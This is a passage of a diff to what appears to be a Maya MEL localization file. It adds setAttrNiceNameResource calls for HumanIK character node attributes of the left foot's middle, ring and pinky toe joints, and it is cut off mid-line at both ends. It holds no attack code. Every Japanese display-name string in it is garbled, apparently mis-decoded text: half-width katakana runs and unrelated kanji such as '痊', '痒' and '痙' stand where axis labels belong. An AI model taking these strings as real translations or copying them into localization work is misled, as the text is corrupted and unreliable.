"LeftFootMiddle4JointOrienty", "ラスナヨミヨコ 4 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle4JointOrientz", "ラスナヨミヨコ 4 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle4MinRLimit", "ラスナヨミヨコ 4 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle4MinRLimitx", "ラスナヨミヨコ 4 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle4MinRLimity", "ラスナヨミヨコ 4 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle4MinRLimitz", "ラスナヨミヨコ 4 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle4MaxRLimit", "ラスナヨミヨコ 4 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle4MaxRLimitx", "ラスナヨミヨコ 4 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle4MaxRLimity", "ラスナヨミヨコ 4 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle4MaxRLimitz", "ラスナヨミヨコ 4 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle4MinRLimitEnablex", "ニモテラスナヨミヨコ 4 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle4MinRLimitEnabley", "ニモテラスナヨミヨコ 4 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle4MinRLimitEnablez", "ニモテラスナヨミヨコ 4 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle4MaxRLimitEnablex", "ニモテラスナヨミヨコ 4 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle4MaxRLimitEnabley", "ニモテラスナヨミヨコ 4 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootMiddle4MaxRLimitEnablez", "ニモテラスナヨミヨコ 4 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing1", "ラスナヒトヨコ 1" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing1T", "ラスナヒトヨコ 1 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing1Tx", "ラスナヒトヨコ 1 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing1Ty", "ラスナヒトヨコ 1 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing1Tz", "ラスナヒトヨコ 1 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing1R", "ラスナヒトヨコ 1 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing1Rx", "ラスナヒトヨコ 1 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing1Ry", "ラスナヒトヨコ 1 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing1Rz", "ラスナヒトヨコ 1 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing1S", "ラスナヒトヨコ 1 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing1Sx", "ラスナヒトヨコ 1 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing1Sy", "ラスナヒトヨコ 1 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing1Sz", "ラスナヒトヨコ 1 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing1RotateOrder", "ラスナヒトヨコ 1 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing1RotateAxis", "ラスナヒトヨコ 1 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing1RotateAxisx", "ラスナヒトヨコ 1 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing1RotateAxisy", "ラスナヒトヨコ 1 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing1RotateAxisz", "ラスナヒトヨコ 1 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing1JointOrient", "ラスナヒトヨコ 1 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing1JointOrientx", "ラスナヒトヨコ 1 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing1JointOrienty", "ラスナヒトヨコ 1 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing1JointOrientz", "ラスナヒトヨコ 1 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing1MinRLimit", "ラスナヒトヨコ 1 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing1MinRLimitx", "ラスナヒトヨコ 1 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing1MinRLimity", "ラスナヒトヨコ 1 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing1MinRLimitz", "ラスナヒトヨコ 1 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing1MaxRLimit", "ラスナヒトヨコ 1 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing1MaxRLimitx", "ラスナヒトヨコ 1 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing1MaxRLimity", "ラスナヒトヨコ 1 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing1MaxRLimitz", "ラスナヒトヨコ 1 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing1MinRLimitEnablex", "ニモテラスナヒトヨコ 1 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing1MinRLimitEnabley", "ニモテラスナヒトヨコ 1 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing1MinRLimitEnablez", "ニモテラスナヒトヨコ 1 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing1MaxRLimitEnablex", "ニモテラスナヒトヨコ 1 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing1MaxRLimitEnabley", "ニモテラスナヒトヨコ 1 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing1MaxRLimitEnablez", "ニモテラスナヒトヨコ 1 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing2", "ラスナヒトヨコ 2" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing2T", "ラスナヒトヨコ 2 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing2Tx", "ラスナヒトヨコ 2 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing2Ty", "ラスナヒトヨコ 2 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing2Tz", "ラスナヒトヨコ 2 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing2R", "ラスナヒトヨコ 2 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing2Rx", "ラスナヒトヨコ 2 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing2Ry", "ラスナヒトヨコ 2 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing2Rz", "ラスナヒトヨコ 2 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing2S", "ラスナヒトヨコ 2 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing2Sx", "ラスナヒトヨコ 2 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing2Sy", "ラスナヒトヨコ 2 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing2Sz", "ラスナヒトヨコ 2 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing2RotateOrder", "ラスナヒトヨコ 2 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing2RotateAxis", "ラスナヒトヨコ 2 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing2RotateAxisx", "ラスナヒトヨコ 2 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing2RotateAxisy", "ラスナヒトヨコ 2 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing2RotateAxisz", "ラスナヒトヨコ 2 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing2JointOrient", "ラスナヒトヨコ 2 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing2JointOrientx", "ラスナヒトヨコ 2 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing2JointOrienty", "ラスナヒトヨコ 2 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing2JointOrientz", "ラスナヒトヨコ 2 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing2MinRLimit", "ラスナヒトヨコ 2 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing2MinRLimitx", "ラスナヒトヨコ 2 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing2MinRLimity", "ラスナヒトヨコ 2 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing2MinRLimitz", "ラスナヒトヨコ 2 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing2MaxRLimit", "ラスナヒトヨコ 2 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing2MaxRLimitx", "ラスナヒトヨコ 2 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing2MaxRLimity", "ラスナヒトヨコ 2 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing2MaxRLimitz", "ラスナヒトヨコ 2 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing2MinRLimitEnablex", "ニモテラスナヒトヨコ 2 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing2MinRLimitEnabley", "ニモテラスナヒトヨコ 2 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing2MinRLimitEnablez", "ニモテラスナヒトヨコ 2 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing2MaxRLimitEnablex", "ニモテラスナヒトヨコ 2 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing2MaxRLimitEnabley", "ニモテラスナヒトヨコ 2 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing2MaxRLimitEnablez", "ニモテラスナヒトヨコ 2 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing3", "ラスナヒトヨコ 3" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing3T", "ラスナヒトヨコ 3 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing3Tx", "ラスナヒトヨコ 3 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing3Ty", "ラスナヒトヨコ 3 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing3Tz", "ラスナヒトヨコ 3 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing3R", "ラスナヒトヨコ 3 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing3Rx", "ラスナヒトヨコ 3 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing3Ry", "ラスナヒトヨコ 3 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing3Rz", "ラスナヒトヨコ 3 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing3S", "ラスナヒトヨコ 3 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing3Sx", "ラスナヒトヨコ 3 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing3Sy", "ラスナヒトヨコ 3 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing3Sz", "ラスナヒトヨコ 3 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing3RotateOrder", "ラスナヒトヨコ 3 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing3RotateAxis", "ラスナヒトヨコ 3 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing3RotateAxisx", "ラスナヒトヨコ 3 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing3RotateAxisy", "ラスナヒトヨコ 3 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing3RotateAxisz", "ラスナヒトヨコ 3 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing3JointOrient", "ラスナヒトヨコ 3 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing3JointOrientx", "ラスナヒトヨコ 3 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing3JointOrienty", "ラスナヒトヨコ 3 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing3JointOrientz", "ラスナヒトヨコ 3 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing3MinRLimit", "ラスナヒトヨコ 3 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing3MinRLimitx", "ラスナヒトヨコ 3 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing3MinRLimity", "ラスナヒトヨコ 3 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing3MinRLimitz", "ラスナヒトヨコ 3 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing3MaxRLimit", "ラスナヒトヨコ 3 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing3MaxRLimitx", "ラスナヒトヨコ 3 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing3MaxRLimity", "ラスナヒトヨコ 3 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing3MaxRLimitz", "ラスナヒトヨコ 3 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing3MinRLimitEnablex", "ニモテラスナヒトヨコ 3 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing3MinRLimitEnabley", "ニモテラスナヒトヨコ 3 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing3MinRLimitEnablez", "ニモテラスナヒトヨコ 3 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing3MaxRLimitEnablex", "ニモテラスナヒトヨコ 3 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing3MaxRLimitEnabley", "ニモテラスナヒトヨコ 3 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing3MaxRLimitEnablez", "ニモテラスナヒトヨコ 3 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing4", "ラスナヒトヨコ 4" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing4T", "ラスナヒトヨコ 4 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing4Tx", "ラスナヒトヨコ 4 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing4Ty", "ラスナヒトヨコ 4 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing4Tz", "ラスナヒトヨコ 4 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing4R", "ラスナヒトヨコ 4 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing4Rx", "ラスナヒトヨコ 4 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing4Ry", "ラスナヒトヨコ 4 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing4Rz", "ラスナヒトヨコ 4 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing4S", "ラスナヒトヨコ 4 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing4Sx", "ラスナヒトヨコ 4 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing4Sy", "ラスナヒトヨコ 4 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing4Sz", "ラスナヒトヨコ 4 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing4RotateOrder", "ラスナヒトヨコ 4 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing4RotateAxis", "ラスナヒトヨコ 4 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing4RotateAxisx", "ラスナヒトヨコ 4 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing4RotateAxisy", "ラスナヒトヨコ 4 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing4RotateAxisz", "ラスナヒトヨコ 4 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing4JointOrient", "ラスナヒトヨコ 4 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing4JointOrientx", "ラスナヒトヨコ 4 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing4JointOrienty", "ラスナヒトヨコ 4 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing4JointOrientz", "ラスナヒトヨコ 4 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing4MinRLimit", "ラスナヒトヨコ 4 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing4MinRLimitx", "ラスナヒトヨコ 4 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing4MinRLimity", "ラスナヒトヨコ 4 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing4MinRLimitz", "ラスナヒトヨコ 4 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing4MaxRLimit", "ラスナヒトヨコ 4 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing4MaxRLimitx", "ラスナヒトヨコ 4 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing4MaxRLimity", "ラスナヒトヨコ 4 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing4MaxRLimitz", "ラスナヒトヨコ 4 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing4MinRLimitEnablex", "ニモテラスナヒトヨコ 4 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing4MinRLimitEnabley", "ニモテラスナヒトヨコ 4 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing4MinRLimitEnablez", "ニモテラスナヒトヨコ 4 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing4MaxRLimitEnablex", "ニモテラスナヒトヨコ 4 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing4MaxRLimitEnabley", "ニモテラスナヒトヨコ 4 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootRing4MaxRLimitEnablez", "ニモテラスナヒトヨコ 4 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky1", "ラスナミ。ヨコ 1" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky1T", "ラスナミ。ヨコ 1 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky1Tx", "ラスナミ。ヨコ 1 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky1Ty", "ラスナミ。ヨコ 1 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky1Tz", "ラスナミ。ヨコ 1 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky1R", "ラスナミ。ヨコ 1 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky1Rx", "ラスナミ。ヨコ 1 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky1Ry", "ラスナミ。ヨコ 1 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky1Rz", "ラスナミ。ヨコ 1 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky1S", "ラスナミ。ヨコ 1 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky1Sx", "ラスナミ。ヨコ 1 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky1Sy", "ラスナミ。ヨコ 1 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky1Sz", "ラスナミ。ヨコ 1 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky1RotateOrder", "ラスナミ。ヨコ 1 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky1RotateAxis", "ラスナミ。ヨコ 1 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky1RotateAxisx", "ラスナミ。ヨコ 1 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky1RotateAxisy", "ラスナミ。ヨコ 1 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky1RotateAxisz", "ラスナミ。ヨコ 1 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky1JointOrient", "ラスナミ。ヨコ 1 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky1JointOrientx", "ラスナミ。ヨコ 1 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky1JointOrienty", "ラスナミ。ヨコ 1 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky1JointOrientz", "ラスナミ。ヨコ 1 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky1MinRLimit", "ラスナミ。ヨコ 1 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky1MinRLimitx", "ラスナミ。ヨコ 1 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky1MinRLimity", "ラスナミ。ヨコ 1 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky1MinRLimitz", "ラスナミ。ヨコ 1 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky1MaxRLimit", "ラスナミ。ヨコ 1 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky1MaxRLimitx", "ラスナミ。ヨコ 1 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky1MaxRLimity", "ラスナミ。ヨコ 1 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky1MaxRLimitz", "ラスナミ。ヨコ 1 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky1MinRLimitEnablex", "ニモテラスナミ。ヨコ 1 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky1MinRLimitEnabley", "ニモテラスナミ。ヨコ 1 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky1MinRLimitEnablez", "ニモテラスナミ。ヨコ 1 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky1MaxRLimitEnablex", "ニモテラスナミ。ヨコ 1 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky1MaxRLimitEnabley", "ニモテラスナミ。ヨコ 1 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky1MaxRLimitEnablez", "ニモテラスナミ。ヨコ 1 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky2", "ラスナミ。ヨコ 2" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky2T", "ラスナミ。ヨコ 2 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky2Tx", "ラスナミ。ヨコ 2 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky2Ty", "ラスナミ。ヨコ 2 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky2Tz", "ラスナミ。ヨコ 2 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky2R", "ラスナミ。ヨコ 2 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky2Rx", "ラスナミ。ヨコ 2 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky2Ry", "ラスナミ。ヨコ 2 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky2Rz", "ラスナミ。ヨコ 2 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky2S", "ラスナミ。ヨコ 2 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky2Sx", "ラスナミ。ヨコ 2 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky2Sy", "ラスナミ。ヨコ 2 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky2Sz", "ラスナミ。ヨコ 2 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky2RotateOrder", "ラスナミ。ヨコ 2 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky2RotateAxis", "ラスナミ。ヨコ 2 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky2RotateAxisx", "ラスナミ。ヨコ 2 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky2RotateAxisy", "ラスナミ。ヨコ 2 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky2RotateAxisz", "ラスナミ。ヨコ 2 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky2JointOrient", "ラスナミ。ヨコ 2 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky2JointOrientx", "ラスナミ。ヨコ 2 